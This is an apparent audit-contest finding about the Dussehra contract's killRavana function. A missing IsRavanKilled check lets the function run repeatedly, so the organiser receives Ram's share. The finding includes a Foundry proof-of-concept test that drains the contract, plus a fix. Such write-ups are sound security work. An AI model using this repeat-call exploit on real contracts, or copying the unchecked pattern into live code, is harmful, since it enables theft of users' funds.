First Flight #17: Dussehra
First Flight #17
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

`Dussehra::killRavana` can be called several times even if Ravana is already killed, allowing the organizer to receive all the reward and Ram will get nothing

shikhar229169

Summary

Dussehra::killRavana allows the kill Ravana and set IsRavanKilled to true, but still it can be called several times as it lags the implementation to check whether Ravana is already killed.

Also killRavana can be called by anyone, thus anyone calling killRavana will make organizer to receive more rewards that was allocated for Ram, and as a result of which Ram will not receive their reward.

Vulnerability Details

The vulnerability is present in the killRavana function where it allows anyone to call it several times even if Ravana was already killed once.

It sets IsRavanKilled to true, but doesn't check whether IsRavanKilled is true, which results in allowing anyone to call it multiple times.

The function allocates 50% reward for Organizer and 50% for Ram, but calling it the second time will send the remaining 50% award of Ram to the Organizer, due to the reason that it can be called several times due to missing check to only allow to call it once by checking IsRavanKilled value.

Impact

Organizer will get all the rewards that was allocated for Ram.

PoC

Add the test in the file: test/Dussehra.t.sol

Run the test:

forge test --mt test_MissingIsRavanaKilledCheckAllowsOrganizerToGetRamsReward
function test_MissingIsRavanaKilledCheckAllowsOrganizerToGetRamsReward() public {
vm.deal(player1, 1 ether);
vm.deal(player2, 1 ether);
​
vm.prank(player1);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
​
vm.prank(player2);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
​
// for demonstration purpose, we will make the organizer to select Ram by going to 12th Oct
vm.warp(1728691200);
vm.prank(organiser);
choosingRam.selectRamIfNotSelected();
​
address Ram = choosingRam.selectedRam();
​
// ravana is killed
dussehra.killRavana();
​
// organizer will get 50% reward, i.e. 1 ether
assertEq(organiser.balance, 1 ether);
​
// now again killRavana is called
dussehra.killRavana();
​
// due to the missing IsRavanKilled validation check, organizer will get the remaining 50% reward
// which was allocated for Ram, therefore receiving another 1 ether
assertEq(organiser.balance, 2 ether);
assertEq(address(dussehra).balance, 0);
​
// now Ram tries to withdraw their reward
vm.prank(Ram);
​
// but it will revert as the reward was already claimed by the organizer (the Dusshehra contract has no balance left)
vm.expectRevert("Failed to send money to Ram");
dussehra.withdraw();
}

Tools Used

Manual Review, Unit Test in Foundry

Recommendations

Allow the killRavana function to be callable only a single time, by checking the IsRavanKilled variable value as below.

function killRavana() public RamIsSelected {
+ require(!IsRavanKilled, "Ravana is already killed");
if (block.timestamp < 1728691069) {
revert Dussehra__MahuratIsNotStart();
}
if (block.timestamp > 1728777669) {
revert Dussehra__MahuratIsFinished();
}
IsRavanKilled = true;
uint256 totalAmountByThePeople = WantToBeLikeRam.length * entranceFee;
totalAmountGivenToRam = (totalAmountByThePeople * 50) / 100;
(bool success, ) = organiser.call{value: totalAmountGivenToRam}("");
require(success, "Failed to send money to organiser");
}
Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

isRavanKilled is not checked

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.